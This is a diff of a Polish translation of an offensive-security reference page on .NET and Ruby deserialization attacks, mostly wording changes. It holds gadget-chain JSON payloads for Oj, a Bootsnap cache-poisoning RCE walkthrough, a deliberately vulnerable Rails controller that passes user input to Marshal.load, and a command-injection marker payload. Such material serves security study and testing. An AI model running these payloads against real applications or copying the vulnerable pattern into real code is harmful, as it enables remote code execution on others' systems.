**ysoserial.net** **spróbuje** **wykorzystać exploit lokalnie**, abyś mógł przetestować, czy twój ładunek będzie działał poprawnie.\ +Jeśli wskażesz ten parametr, **ysoserial.net** **spróbuje** **wykorzystać exploit lokalnie**, abyś mógł przetestować, czy twój ładunek zadziała poprawnie.\ Ten parametr jest pomocny, ponieważ jeśli przejrzysz kod, znajdziesz fragmenty kodu takie jak ten (z [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): ```java if (inputArgs.Test) @@ -764,7 +764,7 @@ Dlatego parametr **`--test`** pozwala nam zrozumieć **które fragmenty kodu są ### ViewState -Zobacz [ten POST o **tym, jak spróbować wykorzystać parametr \_\_ViewState w .Net**](exploiting-__viewstate-parameter.md), aby **wykonać dowolny kod.** Jeśli **już znasz sekrety** używane przez maszynę ofiary, [**przeczytaj ten post, aby dowiedzieć się, jak wykonać kod**](exploiting-__viewstate-knowing-the-secret.md)**.** +Zobacz [ten POST o **tym, jak próbować wykorzystać parametr \_\_ViewState w .Net**](exploiting-__viewstate-parameter.md), aby **wykonać dowolny kod.** Jeśli **już znasz sekrety** używane przez maszynę ofiary, [**przeczytaj ten post, aby dowiedzieć się, jak wykonać kod**](exploiting-__viewstate-knowing-the-secret.md)**.** ### Zapobieganie @@ -776,20 +776,20 @@ Aby zminimalizować ryzyko związane z deserializacją w .Net: - **Ogranicz typy, które mogą być deserializowane**, rozumiejąc inherentne ryzyko związane z typami .Net, takimi jak `System.IO.FileInfo`, które mogą modyfikować właściwości plików serwera, co potencjalnie prowadzi do ataków typu denial of service. - **Bądź ostrożny z typami mającymi ryzykowne właściwości**, jak `System.ComponentModel.DataAnnotations.ValidationException` z jego właściwością `Value`, która może być wykorzystana. - **Bezpiecznie kontroluj instancjonowanie typów**, aby zapobiec wpływowi atakujących na proces deserializacji, co sprawia, że nawet `DataContractSerializer` lub `XmlSerializer` mogą być podatne. -- **Wdrażaj kontrole białej listy** przy użyciu niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`. +- **Wprowadź kontrolę białej listy** przy użyciu niestandardowego `SerializationBinder` dla `BinaryFormatter` i `JSON.Net`. - **Bądź na bieżąco z znanymi niebezpiecznymi gadżetami deserializacji** w .Net i upewnij się, że deserializatory nie instancjonują takich typów. -- **Izoluj potencjalnie ryzykowny kod** od kodu z dostępem do internetu, aby uniknąć narażenia znanych gadżetów, takich jak `System.Windows.Data.ObjectDataProvider` w aplikacjach WPF, na niezaufane źródła danych. +- **Izoluj potencjalnie ryzykowny kod** od kodu z dostępem do internetu, aby uniknąć narażenia znanych gadżetów, takich jak `System.Windows.Data.ObjectDataProvider` w aplikacjach WPF, na nieufne źródła danych. ### **Referencje** -- Artykuł o deserializacji JSON w Javie i .Net:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** wykład: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) +- Artykuł o deserializacji JSON w Javie i .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** wykład: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) i slajdy: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf) - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp) - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf) - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization) ## **Ruby** -W Ruby serializacja jest ułatwiana przez dwie metody w bibliotece **marshal**. Pierwsza metoda, znana jako **dump**, jest używana do przekształcania obiektu w strumień bajtów. Proces ten nazywa się serializacją. Z kolei druga metoda, **load**, jest stosowana do przywracania strumienia bajtów z powrotem do obiektu, co nazywa się deserializacją. +W Ruby serializacja jest ułatwiana przez dwie metody w bibliotece **marshal**. Pierwsza metoda, znana jako **dump**, służy do przekształcania obiektu w strumień bajtów. Proces ten nazywa się serializacją. Z kolei druga metoda, **load**, jest używana do przywracania strumienia bajtów z powrotem do obiektu, co nazywa się deserializacją. Aby zabezpieczyć zserializowane obiekty, **Ruby wykorzystuje HMAC (Hash-Based Message Authentication Code)**, zapewniając integralność i autentyczność danych. Klucz używany do tego celu jest przechowywany w jednym z kilku możliwych miejsc: @@ -869,7 +869,7 @@ require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) ``` -Inne łańcuchy RCE do wykorzystania w Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) +Inna łańcuch RCE do wykorzystania Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/) ### Metoda Ruby .send() @@ -916,7 +916,7 @@ Sprawdź więcej informacji na stronie [zanieczyszczenia _json Ruby](ruby-_json- Ta technika została wzięta [**z tego wpisu na blogu**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared). -Istnieją inne biblioteki Ruby, które mogą być używane do serializacji obiektów i które mogą być wykorzystane do uzyskania RCE podczas niebezpiecznej deserializacji. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę, którą wywołują załadowane biblioteki, gdy są deserializowane (funkcja do wykorzystania w celu uzyskania RCE w zasadzie): +Istnieją inne biblioteki Ruby, które mogą być używane do serializacji obiektów i które mogą być wykorzystane do uzyskania RCE podczas niebezpiecznej deserializacji. Poniższa tabela pokazuje niektóre z tych bibliotek oraz metodę, którą wywołują z załadowanej biblioteki, gdy jest ona deserializowana (funkcja do wykorzystania w celu uzyskania RCE w zasadzie):
BibliotekaDane wejścioweMetoda uruchamiająca wewnątrz klasy
Marshal (Ruby)Binary_load
OjJSONhash (klasa musi być umieszczona w hashu (mapie) jako klucz)
OxXMLhash (klasa musi być umieszczona w hashu (mapie) jako klucz)
Psych (Ruby)YAMLhash (klasa musi być umieszczona w hashu (mapie) jako klucz)
init_with
JSON (Ruby)JSONjson_create ([zobacz notatki dotyczące json_create na końcu](#table-vulnerable-sinks))
@@ -942,7 +942,7 @@ puts json_payload # Sink vulnerable inside the code accepting user input as json_payload Oj.load(json_payload) ``` -W przypadku próby nadużycia Oj, możliwe było znalezienie klasy gadget, która w swojej funkcji `hash` wywołuje `to_s`, co wywołuje spec, które wywołuje fetch_path, co pozwoliło na pobranie losowego URL, co stanowi doskonały wskaźnik tego rodzaju nieoczyszczonych podatności na deserializację. +W przypadku próby nadużycia Oj, możliwe było znalezienie klasy gadget, która w swojej funkcji `hash` wywołuje `to_s`, co wywołuje spec, które wywołuje fetch_path, co pozwoliło na pobranie losowego URL, co stanowi doskonały detektor tego rodzaju nieoczyszczonych podatności na deserializację. ```json { "^o": "URI::HTTP", @@ -954,7 +954,7 @@ W przypadku próby nadużycia Oj, możliwe było znalezienie klasy gadget, któr "password": "anypw" } ``` -Ponadto stwierdzono, że przy użyciu poprzedniej techniki w systemie tworzony jest również folder, co jest wymagane do wykorzystania innego gadżetu w celu przekształcenia tego w pełne RCE z czymś takim jak: +Ponadto stwierdzono, że przy użyciu poprzedniej techniki w systemie tworzony jest również folder, co jest wymagane do nadużycia innego gadżetu w celu przekształcenia tego w pełne RCE z czymś takim jak: ```json { "^o": "Gem::Resolver::SpecSpecification", @@ -980,7 +980,7 @@ Sprawdź więcej szczegółów w [**oryginalnym poście**](https://github.blog/s ### Bootstrap Caching -Nie jest to naprawdę luka deserializacji, ale miły trik do nadużywania pamięci podręcznej bootstrap, aby uzyskać RCE z aplikacji rails z dowolnym zapisem pliku (znajdź pełny [oryginalny post tutaj](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). +Nie jest to naprawdę luka deserializacji, ale miły trik do nadużywania pamięci podręcznej bootstrap, aby uzyskać RCE z aplikacji Rails z dowolnym zapisem pliku (znajdź pełny [oryginalny post tutaj](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)). Poniżej znajduje się krótki podsumowanie kroków szczegółowo opisanych w artykule dotyczących wykorzystania luki w zapisie pliku przez nadużycie pamięci podręcznej Bootsnap: @@ -990,7 +990,7 @@ Funkcjonalność przesyłania plików w aplikacji Rails pozwala atakującemu na - Zrozum mechanizm pamięci podręcznej Bootsnap -Bootsnap przyspiesza czas uruchamiania Rails, przechowując skompilowany kod Ruby, pliki YAML i JSON w pamięci podręcznej. Przechowuje pliki pamięci podręcznej, które zawierają nagłówek klucza pamięci podręcznej (z polami takimi jak wersja Ruby, rozmiar pliku, mtime, opcje kompilacji itp.) następnie skompilowany kod. Ten nagłówek jest używany do walidacji pamięci podręcznej podczas uruchamiania aplikacji. +Bootsnap przyspiesza czas uruchamiania Rails, pamiętając skompilowany kod Ruby, pliki YAML i JSON. Przechowuje pliki pamięci podręcznej, które zawierają nagłówek klucza pamięci podręcznej (z polami takimi jak wersja Ruby, rozmiar pliku, mtime, opcje kompilacji itp.) następnie skompilowany kod. Ten nagłówek jest używany do walidacji pamięci podręcznej podczas uruchamiania aplikacji. - Zbierz metadane pliku @@ -1013,5 +1013,54 @@ Ten ładunek jest kompilowany do binarnego kodu Ruby i łączony z starannie sko - Nadpisz i wyzwól wykonanie Korzystając z luki w zapisie pliku, atakujący zapisuje skonstruowany plik pamięci podręcznej w obliczonej lokalizacji. Następnie wyzwalają ponowne uruchomienie serwera (poprzez zapis do tmp/restart.txt, który jest monitorowany przez Pumę). Podczas ponownego uruchamiania, gdy Rails wymaga docelowego pliku, złośliwy plik pamięci podręcznej jest ładowany, co skutkuje zdalnym wykonaniem kodu (RCE). +### Wykorzystanie Ruby Marshal w praktyce (zaktualizowane) + +Traktuj każdą ścieżkę, w której nieufne bajty docierają do `Marshal.load`/`marshal_load`, jako punkt RCE. Marshal rekonstruuje dowolne grafy obiektów i wyzwala wywołania zwrotne bibliotek/gemów podczas materializacji. + +- Minimalna podatna ścieżka kodu Rails: +```ruby +class UserRestoreController < ApplicationController +def show +user_data = params[:data] +if user_data.present? +deserialized_user = Marshal.load(Base64.decode64(user_data)) +render plain: "OK: #{deserialized_user.inspect}" +else +render plain: "No data", status: :bad_request +end +end +end +``` +- Typowe klasy gadżetów widziane w rzeczywistych łańcuchach: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`. +- Typowy znacznik efektu ubocznego osadzony w ładunkach (wykonywany podczas deserializacji): +``` +*-TmTT="$(id>/tmp/marshal-poc)"any.zip +``` +Gdzie to występuje w rzeczywistych aplikacjach: +- Pamięci podręczne Rails i pamięci sesji historycznie używające Marshal +- Tła zadań i obiekty przechowywane w plikach +- Każda niestandardowa persystencja lub transport binarnych obiektów blob + +Zindustrializowane odkrywanie gadżetów: +- Grep dla konstruktorów, `hash`, `_load`, `init_with` lub metod wywoływanych podczas unmarshal +- Użyj zapytań CodeQL dotyczących niebezpiecznej deserializacji Ruby, aby śledzić źródła → ujścia i odkrywać gadżety +- Walidacja za pomocą publicznych PoC w wielu formatach (JSON/XML/YAML/Marshal) + +## References + +- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/ +- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/ +- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html +- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420 +- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization +- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/ +- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/ +- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization +- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1 +- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html +- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html +- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1 +- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444 +- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ {{#include ../../banners/hacktricks-training.md}}